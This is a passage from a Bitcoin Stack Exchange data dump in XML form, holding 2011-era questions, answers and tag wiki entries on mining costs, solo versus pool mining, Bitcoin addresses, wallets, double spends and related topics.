knows the card holder could have signed the corresponding valid transaction. (If desired, a challenge can be included to prove the signed transaction was generated on the spot.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Spend Bitcoins&lt;/strong&gt;: This is the same as the prove Bitcoins operation except the transaction is valid, the recipient commits the transaction to the block chain, and the card updates its memory to reflect that the coins are spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other thing you might need is a 'sync' operation where the card fixes any discrepancies. For example, if a spend operation is done but for some reason it doesn't make it into the block chain, the card needs to know that it still holds those Bitcoins. (And can't spend the 'change' from that transaction.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a minimal implementation. You can certainly add more capabilities.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-05T19:37:12.737" LastActivityDate="2011-09-05T19:37:12.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="592" PostTypeId="1" AcceptedAnswerId="596" CreationDate="2011-09-05T18:14:30.633" Score="17" ViewCount="1285" Body="&lt;p&gt;A quick and &lt;strong&gt;very&lt;/strong&gt; rough estimation: If the USD/BTC exchange rate grows to $1000/BTC (not that far-fetched if Bitcoin is actually &lt;em&gt;widely&lt;/em&gt; adopted) bitcoins for a value of $300000 would be produced every hour, given the current rate of 50BTC each 10 minutes. This should mean that the amount of money spent on mining is roughly the same, $300000/hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given an electricy price of $0.01/kWh that means that 3GW, i.e. a rather large power plant, would be used solely for mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything fundamentally wrong about the above calculation? Is it a problem?&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="5406" LastEditDate="2016-01-21T10:15:07.110" LastActivityDate="2016-01-21T10:15:07.110" Title="Will the amount of electricity used for mining be huge if Bitcoin is widely adopted?" Tags="|economic-theory|mining-profitability|weaknesses|energy-consumption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="593" PostTypeId="2" ParentId="592" CreationDate="2011-09-05T18:34:21.913" Score="5" Body="&lt;p&gt;Electricity is not the only cost associated with mining. But basically, that's about what we expect. Likely mining will always be just barely profitable with the most cost-effective hardware and the lowest prices for electricity. If it's much more profitable than that, more people will mine, raising the difficulty, and thus reducing the profitability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the bright side, the block payout will start dropping in 2013 or so. Every time the block payout drops, we would expect to see a decrease in mining.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-05T18:34:21.913" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="594" PostTypeId="1" AcceptedAnswerId="595" CreationDate="2011-09-05T19:17:30.207" Score="19" ViewCount="43236" Body="&lt;p&gt;Let's say that a user has a decent amount of computing power. At the current difficulty of 1777774.4820015, he could have for example 10Gh/s (he would earn around 5 BTC per day according to a &lt;a href=&quot;http://www.alloscomp.com/bitcoin/calculator.php&quot;&gt;calculator&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it more profitable for him to solo mine or to pool mine? What are the differences in this situation?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5406" LastEditDate="2016-01-20T21:06:06.743" LastActivityDate="2016-01-20T21:06:06.743" Title="Solo Mining vs Pool Mining for users with high computing power" Tags="|mining-pools|solo-mining|mining-profitability|pool-payout-methods|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="595" PostTypeId="2" ParentId="594" CreationDate="2011-09-05T19:33:50.150" Score="15" Body="&lt;p&gt;It completely depends on the &quot;pool fee&quot;. Theoretically, with a zero percent pool fee, solo mining and pooled mining should, over the long term, produce precisely the same revenue. The only exception is that some (most) pools keep the transaction fees for themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mine solo, with an expected 5 BTC/day take, that will mean on average you'll mine a 50 BTC block every ten days. It will be completely random though. You could mine two blocks in a day. You could go three weeks without a block. When the difficulty changes, not only will the amount you get paid change (that always happens) but the time between payments will change drastically as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mine in a pool, you take the pool fee right off the top. A 3% pool fee means you make 3% less. Also, most pools don't pay transaction fees. But your revenue is more predictable. You'll get paid on a regular basis and your payments won't vary much (until the difficulty changes, of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One advantage to solo mining is that it's more reliable. Pools have outages and have had a problem with denial of service attacks lately. Mining solo, you aren't relying on other people's systems to keep your mining going. If you pick a very reliable pool, or use a mining proxy with a &quot;fallback pool&quot; configuration, this isn't a major issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One advantage to pooled mining is that you get to use the pool's tools. These include things like web-based control panels, alerts, and so on.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-05T19:33:50.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="596" PostTypeId="2" ParentId="592" CreationDate="2011-09-05T20:46:14.457" Score="9" Body="&lt;p&gt;This is a very difficult prediction to make, but there is one factor often left out of mining cost estimations: cost of hardware. When amortized over their expected lifespans, the costs of various pieces of equipment can become a meaningfully large factor in Bitcoin mining costs. In the days to come, it seems likely that FPGA or ASIC miners will become more common since they offer tremendous power efficiency gains over GPUs. The &quot;downside&quot; to FPGA and ASIC mining is that it is also extremely expensive to obtain the initial equipment, which means that the cost of equipment amortized over its expected lifespan is higher than with GPU mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're now seeing the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=37904.0&quot;&gt;first commercially available FPGA mining rigs&lt;/a&gt; become available, costing about $440 for a 100 MH/s rig consuming 6.8 watts of electricity. Here at my home in Las Vegas, NV it would cost about 55 cents per month to run one of these FPGA boards, and even if the device survived 10 years of operation before its death, amortized hardware cost would be $3.67 per month, absolutely dwarfing energy costs. The ATI Radeon HD 5830 based rigs I currently run cost about $6.58 per 100 MH/s in electricity alone, but a 10-year amortization only adds $0.96 per month per 100 MH/s to that cost. This means the buy-in for GPU mining is low but so is the profit and sustainability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This puts my cost per coin for FPGAs at $2.45 and for GPUs at $7.54, though there is certainly room for improvement in those numbers and your mileage WILL vary. The important bit, however, is that FPGA mining is far more profitable regardless of hardware cost and is likely to be the next big thing, which does a lot for Bitcoin's overall energy footprint since FPGA mining consumes about 8% of the electricity GPU mining currently consumes. If FPGA mining took over right now, the Bitcoin network could grow to 12 times its current hash rate without seeing a net increase in energy consumption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, Bitcoin is in its infancy still and so is mining. Just as most technologies begin at low efficiency and high cost and grow towards high efficiency and low costs, so too is Bitcoin mining. You are correct in your assumption that electricity use will likely grow with Bitcoin adoption, but the missing factor in that equation is the increasing energy efficiency of mining hardware.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-05T20:46:14.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="597" PostTypeId="5" CreationDate="2011-09-05T21:53:55.270" Score="0" Body="&lt;p&gt;An exchange offers a way for users to buy and sell Bitcoin for some other currency. Many exchanges will allow users to buy and sell Bitcoin for fiat currencies such as the US Dollar, British Pound, or the Euro. Many exchanges will also allow for trading other cryptocurrencies for fiat currencies and other cryptocurrencies for each other. For example, an exchange may allow Bitcoin to Ethereum trading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most exchanges that allow the trading of Bitcoin or other cryptocurrencies for fiat currencies require that the user submit identification information. This information is required so that the exchange, classified as a Money Services Business, complies with Anti-Money Laundering (AML) and Know Your Customer (KYC) regulations that are present in many countries.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="48884" LastEditDate="2017-10-20T02:21:04.070" LastActivityDate="2017-10-20T02:21:04.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="598" PostTypeId="4" CreationDate="2011-09-05T21:53:55.270" Score="0" Body="Exchanges are sites which allow for the conversion of Bitcoins to various world currencies as well as alternate cryptocurrencies." OwnerUserId="22" LastEditorUserId="13866" LastEditDate="2023-05-11T13:36:32.200" LastActivityDate="2023-05-11T13:36:32.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="599" PostTypeId="5" CreationDate="2011-09-05T21:55:54.567" Score="0" Body="&lt;p&gt;This is the tag for all questions concerning alternatives to Bitcoin (altcoins). This includes forks of the Bitcoin Core software with possible modifications and / or a new genesis block (such as litecoin) and also blockchain-based cryptocurrencies which were created using an entirely new codebase.  It also covers cryptocurrencies which were created by hard-forking the bitcoin blockchain (eg a deliberate, non-backwards-compatible change to the consensus rules).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; questions related to a project that has its own SE site should be moved there eg:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ethereum.stackexchange.com&quot;&gt;Ethereum: ethereum.stackexchange.com&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://monero.stackexchange.com&quot;&gt;Monero: monero.stackexchange.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="558" LastEditorUserId="13440" LastEditDate="2017-11-01T21:22:49.333" LastActivityDate="2017-11-01T21:22:49.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="600" PostTypeId="4" CreationDate="2011-09-05T21:55:54.567" Score="0" Body=" Questions about alternative blockchains are off topic unless they are applicable to Bitcoin. " OwnerUserId="22" LastEditorUserId="48884" LastEditDate="2019-07-17T17:38:15.933" LastActivityDate="2019-07-17T17:38:15.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="601" PostTypeId="5" CreationDate="2011-09-05T21:57:32.257" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-05T21:57:32.257" LastActivityDate="2011-09-05T21:57:32.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="602" PostTypeId="4" CreationDate="2011-09-05T21:57:32.257" Score="0" Body="The transacting of business using Bitcoin or related technologies." OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-05T22:23:04.267" LastActivityDate="2011-09-05T22:23:04.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="603" PostTypeId="5" CreationDate="2011-09-05T21:59:29.523" Score="0" Body="&lt;p&gt;A Bitcoin address is an encoding the hash of an ECDSA public key or a script. Addresses are give out to others so that Bitcoin can be sent to the owner of the address.&lt;/p&gt;&#xA;&lt;p&gt;Addresses encode a specific type of output and output script to the wallet.&lt;/p&gt;&#xA;&lt;p&gt;An address that begins with a &lt;code&gt;1&lt;/code&gt; is a Pay-To-Public-Key-Hash address. It is the &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow noreferrer&quot;&gt;Base58 Check Encoding&lt;/a&gt; of the RIPEMD160 of the SHA256 of an ECDSA public key. It tells the wallet that the output script should be of the form &lt;code&gt;OP_DUP OP_HASH160 &amp;lt;pubkey hash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;An address that begins with a &lt;code&gt;3&lt;/code&gt; is a Pay-To-Script-Hash address. It is the &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow noreferrer&quot;&gt;Base58 Check Encoding&lt;/a&gt; of the RIPEMD160 of the SHA256 of a script, known as the redeemScript. It tells the wallet that the output script should be of the form &lt;code&gt;OP_HASH160 &amp;lt;script hash&amp;gt; OP_EQUAL&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;An address that begins with the string &lt;code&gt;bc1&lt;/code&gt; is the &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0173.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP 173 (bech32) encoding&lt;/a&gt; of a witness version number and either a public key hash or a script hash. If the address is decoded to a data part that consists of 20 bytes and a version number of 0, it refers to a Pay-To-Witness-Public-Key-Hash output. These addresses specify that the output script be a native segwit output of the form &lt;code&gt;OP_0 &amp;lt;public key hash&amp;gt;&lt;/code&gt; The &lt;code&gt;&amp;lt;public key hash&lt;/code&gt; is the same hash as in a P2PKH address explained above.&lt;/p&gt;&#xA;&lt;p&gt;If the address is decoded to a data part that consists of 32 bytes and a version number of 1, it refers to a Pay-To-Witness-Script-Hash output. These addresses specify that the output script be a native segwit output of the form &lt;code&gt;OP_0 &amp;lt;script hash&amp;gt;&lt;/code&gt;. The script hash is the SHA256 of the witness script.&lt;/p&gt;&#xA;" OwnerUserId="5649" LastEditorUserId="5406" LastEditDate="2023-01-11T15:11:56.337" LastActivityDate="2023-01-11T15:11:56.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="604" PostTypeId="4" CreationDate="2011-09-05T21:59:29.523" Score="0" Body="Tells a user how to pay a recipient. Bitcoin addresses are strings consisting of numbers and letters that begin with '1', '3', or 'bc1'. Addresses encode the recipient's output script that includes either a public key or a hash of a public key or script. Bitcoin addresses should not be confused with mailing addresses or IP addresses." OwnerUserId="22" LastEditorUserId="121614" LastEditDate="2023-02-09T12:17:25.943" LastActivityDate="2023-02-09T12:17:25.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="605" PostTypeId="5" CreationDate="2011-09-05T22:00:13.923" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-05T22:00:13.923" LastActivityDate="2011-09-05T22:00:13.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="606" PostTypeId="4" CreationDate="2011-09-05T22:00:13.923" Score="0" Body="Questions about Bitcoin in the context of the Ubuntu Linux distribution." OwnerUserId="22" LastEditorUserId="228" LastEditDate="2011-09-13T22:20:50.533" LastActivityDate="2011-09-13T22:20:50.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="607" PostTypeId="5" CreationDate="2011-09-05T22:25:39.237" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2014-04-03T12:16:57.607" LastActivityDate="2014-04-03T12:16:57.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="608" PostTypeId="4" CreationDate="2011-09-05T22:25:39.237" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information." OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2014-04-03T12:16:57.607" LastActivityDate="2014-04-03T12:16:57.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="609" PostTypeId="5" CreationDate="2011-09-05T22:28:39.017" Score="0" Body="&lt;p&gt;This tag should be used for questions pertaining to Bitcoin wallet software. Wallet software handle users' keypairs, addresses, and transactions as well as allowing for the sending and receiving of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag can also be used for wallet files (the files containing the wallet's information), their contents, formatting and any other related topics. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag should not be used for any questions relating to the traditional definition of the word, such as &quot;Where can I buy a wallet with bitcoins?&quot;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="48884" LastEditDate="2017-10-20T01:54:10.820" LastActivityDate="2017-10-20T01:54:10.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="610" PostTypeId="4" CreationDate="2011-09-05T22:28:39.017" Score="0" Body="A wallet manages a user's private keys. Wallet software is used to send and receive Bitcoin. It also keeps track of the user's transactions, addresses, and balance." OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2023-01-11T15:46:26.337" LastActivityDate="2023-01-11T15:46:26.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="611" PostTypeId="5" CreationDate="2011-09-05T22:30:36.317" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-05T22:30:36.317" LastActivityDate="2011-09-05T22:30:36.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="612" PostTypeId="4" CreationDate="2011-09-05T22:30:36.317" Score="0" Body="Methods for performing Bitcoin transactions from non-fixed locations, typically with the use of &quot;smart phones&quot; or other wireless devices." OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-05T22:35:56.523" LastActivityDate="2011-09-05T22:35:56.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="613" PostTypeId="5" CreationDate="2011-09-05T22:32:25.097" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-05T22:32:25.097" LastActivityDate="2011-09-05T22:32:25.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="614" PostTypeId="4" CreationDate="2011-09-05T22:32:25.097" Score="0" Body="&quot;Graphics Processing Unit&quot; - The specific component on a video card which performs active processing of images. GPUs are commonly used in Bitcoin mining as they are much more efficient at certain varieties of integer math which are a major part of the hashing process underlying Bitcoin mining." OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-05T22:36:04.277" LastActivityDate="2011-09-05T22:36:04.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="615" PostTypeId="5" CreationDate="2011-09-05T22:34:18.997" Score="0" Body="&lt;p&gt;This tag should be used for questions referring specifically to the satoshi as a sub-unit of the Bitcoin. For questions pertaining to Bitcoin's elusive creator, see: &lt;a href=&quot;https://bitcoin.stackexchange.com/tags/satoshi-nakamoto/info&quot;&gt;Satoshi Nakamoto&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="38028" LastEditDate="2017-08-27T19:38:27.650" LastActivityDate="2017-08-27T19:38:27.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="616" PostTypeId="4" CreationDate="2011-09-05T22:34:18.997" Score="0" Body="'Satoshi' is the term for the smallest unit of Bitcoins." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-06T22:31:04.810" LastActivityDate="2011-09-06T22:31:04.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="617" PostTypeId="5" CreationDate="2011-09-05T22:37:43.813" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-05T22:37:43.813" LastActivityDate="2011-09-05T22:37:43.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="618" PostTypeId="4" CreationDate="2011-09-05T22:37:43.813" Score="0" Body="A hash is a mathematically reproducible but irreversible process which takes one value as an input and predictably produces a derived value as an output. Hashing is central to Bitcoin mining as well as the generation of Bitcoin addresses." OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-05T23:44:44.710" LastActivityDate="2011-09-05T23:44:44.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="619" PostTypeId="5" CreationDate="2011-09-05T22:39:18.210" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-05T22:39:18.210" LastActivityDate="2011-09-05T22:39:18.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="620" PostTypeId="4" CreationDate="2011-09-05T22:39:18.210" Score="0" Body="Specifically refers to the source code from which applications may be compiled or the process of said compilation. Do not use to request a source of information or to determine the source from which Bitcoins originate, etc." OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-05T23:45:54.413" LastActivityDate="2011-09-05T23:45:54.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="621" PostTypeId="5" CreationDate="2011-09-05T22:40:59.207" Score="1" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-05T22:40:59.207" LastActivityDate="2011-09-05T22:40:59.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="622" PostTypeId="4" CreationDate="2011-09-05T22:40:59.207" Score="0" Body="The process of copying one or more files to an alternate location for safekeeping. Typically refers to the copying of Bitcoin's wallet.dat file but may also refer to the built-in JSON API command to perform such a backup." OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-05T23:45:41.650" LastActivityDate="2011-09-05T23:45:41.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="623" PostTypeId="5" CreationDate="2011-09-05T22:43:36.147" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-05T22:43:36.147" LastActivityDate="2011-09-05T22:43:36.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="624" PostTypeId="4" CreationDate="2011-09-05T22:43:36.147" Score="0" Body="Potential vulnerabilities to the Bitcoin protocol, code or implementation. Potential weaknesses in the Bitcoin concept are probably better tagged &quot;Economics.&quot;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-05T23:45:24.943" LastActivityDate="2011-09-05T23:45:24.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="625" PostTypeId="5" CreationDate="2011-09-05T22:48:32.650" Score="0" Body="&lt;p&gt;Xilinx and Altera are the two main FPGA vendors.&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2011-09-13T18:18:57.607" LastActivityDate="2011-09-13T18:18:57.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="626" PostTypeId="4" CreationDate="2011-09-05T22:48:32.650" Score="0" Body="&quot;Field Programmable Gate Array&quot; - A digital integrated circuit designed to be configured after manufacture. Essentially allows one chip to be turned into a different chip. FPGAs are a highly power efficient method of mining Bitcoins, though they have a significantly higher initial cost than many alternatives." OwnerUserId="22" LastEditorUserId="228" LastEditDate="2011-09-13T18:19:03.627" LastActivityDate="2011-09-13T18:19:03.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="627" PostTypeId="5" CreationDate="2011-09-05T22:50:51.320" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-05T22:50:51.320" LastActivityDate="2011-09-05T22:50:51.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="628" PostTypeId="4" CreationDate="2011-09-05T22:50:51.320" Score="0" Body="&quot;Application-Specific Integrated Circuit&quot; - An integrated circuit (chip) specifically designed for one task only. Similar to FPGAs, ASICs may be the low-power-consumption future of Bitcoin mining. As with FPGAs they are very power efficient but carry a comparatively higher up-front cost." OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-05T23:45:08.390" LastActivityDate="2011-09-05T23:45:08.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="629" PostTypeId="5" CreationDate="2011-09-05T22:51:52.770" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-05T22:51:52.770" LastActivityDate="2011-09-05T22:51:52.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="630" PostTypeId="4" CreationDate="2011-09-05T22:51:52.770" Score="0" Body="A chargeback is the return of funds to a consumer, forcibly initiated by the consumer's issuing bank. Bitcoin transactions are irreversible and as such not prone to chargebacks." OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-05T23:45:01.387" LastActivityDate="2011-09-05T23:45:01.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="631" PostTypeId="5" CreationDate="2011-09-05T22:53:46.967" Score="0" Body="&lt;p&gt;In Bitcoin, double spends are impossible. A transaction that spends money already spent in another transaction will never be valid and confirmed. However unconfirmed transactions can conflict by spending money spent by another unconfirmed transaction. Double spends are often used to defraud merchants by allowing a customer to not pay the merchant. The risk of double spends is the primary reason that merchants wait for one or more confirmations before accepting a Bitcoin transaction.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="48884" LastEditDate="2017-10-21T00:12:57.057" LastActivityDate="2017-10-21T00:12:57.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="632" PostTypeId="4" CreationDate="2011-09-05T22:53:46.967" Score="0" Body="This tag should be used for questions related to double spending. Double spends are when a money is spent more than one time. This is considered a form of fraud." OwnerUserId="22" LastEditorUserId="48884" LastEditDate="2017-10-21T00:12:57.057" LastActivityDate="2017-10-21T00:12:57.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="633" PostTypeId="5" CreationDate="2011-09-05T23:51:11.503" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-05T23:51:11.503" LastActivityDate="2011-09-05T23:51:11.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="634" PostTypeId="4" CreationDate="2011-09-05T23:51:11.503" Score="0" Body="Specifically, the economy which has sprung up around the Bitcoin project including goods and services purchasable with bitcoins. Do not use for questions about Bitcoin deflation, etc. as such questions are better tagged &quot;Economics&quot;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-05T23:53:09.597" LastActivityDate="2011-09-05T23:53:09.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="635" PostTypeId="2" ParentId="541" CreationDate="2011-09-06T06:02:59.640" Score="0" Body="&lt;p&gt;&lt;strong&gt;Inexpensive 2-factor authentication&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A QR code could be used a contributor to a 2-factor authentication (&quot;Something I have and something I know&quot;) system. When making payments a person could input a PIN as one part, and scan a QR code they carry with them in their physical wallet (could be printed on a plastic card for example) as the second part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach could be used as a pre-authentication to provide the wallet application with temporary access to a private key held on the mobile device. This private key could then unlock the local wallet or act as an authentication key to a remove service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does have weaknesses though:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A high-definition CCTV mounted near the point of sale could catch people whipping out their plastic card in preparation and a bit of image manipulation would harvest QR codes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's a bit fiddly and is probably only for the security conscious&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Food for thought.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-09-06T06:02:59.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="636" PostTypeId="1" AcceptedAnswerId="711" CreationDate="2011-09-06T06:11:10.397" Score="4" ViewCount="340" Body="&lt;p&gt;It is said that Satoshi removed the alert system from the client ... still, there are at least some leftovers in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the alert system functioning in 0.3.24? Are there plans to remove all traces of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/583/what-is-the-alert-system-in-the-bitcoin-protocol-how-does-it-work/590#590&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2011-09-08T04:42:00.823" Title="Is the alert system still in the main client's code? Will it be removed?" Tags="|client|alert-system|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="637" PostTypeId="1" CreationDate="2011-09-06T07:52:05.937" Score="10" ViewCount="1150" Body="&lt;p&gt;There are quite a few Java libraries and I am building my Scala code on BitcoinJ, but obviously, native Scala libraries would be quite a bit more elegant. Has anyone tried?&lt;/p&gt;&#xA;" OwnerUserId="176" LastEditorUserId="5406" LastEditDate="2018-04-25T18:27:06.580" LastActivityDate="2018-04-25T18:27:06.580" Title="Are there any Scala libraries/implementations/projects on bitcoin?" Tags="|development|library|scala|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="638" PostTypeId="2" ParentId="637" CreationDate="2011-09-06T09:17:12.247" Score="2" Body="&lt;p&gt;I really don't think it's needed. Bitcoin is a complicated project, it's better to have one canonical JVM-based library than a library in each JVM language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK there is currently no Scala library, and I'm betting there won't be for some time (unless perhaps as a wrapper to bitcoinj?)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-09-06T09:17:12.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="639" PostTypeId="1" AcceptedAnswerId="663" CreationDate="2011-09-06T09:23:08.260" Score="5" ViewCount="473" Body="&lt;p&gt;There is &lt;a href=&quot;https://bitcoil.co.il&quot;&gt;an Israeli bitcoin exchange (BitCoil)&lt;/a&gt;, but it has been closed some time before and it doesn't currently support limit orders. I want to understand what's the best way, without using BitCoil, to move dollars in and out of Mt. Gox and/or TradeHill from an Israeli bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;best&quot; way would be cheapest, most secure, convenient, fast and reliable.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-08-15T18:47:23.650" Title="What's the best way for someone in Israel to move money in and out of Mt. Gox and/or Tradehill?" Tags="|trading|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
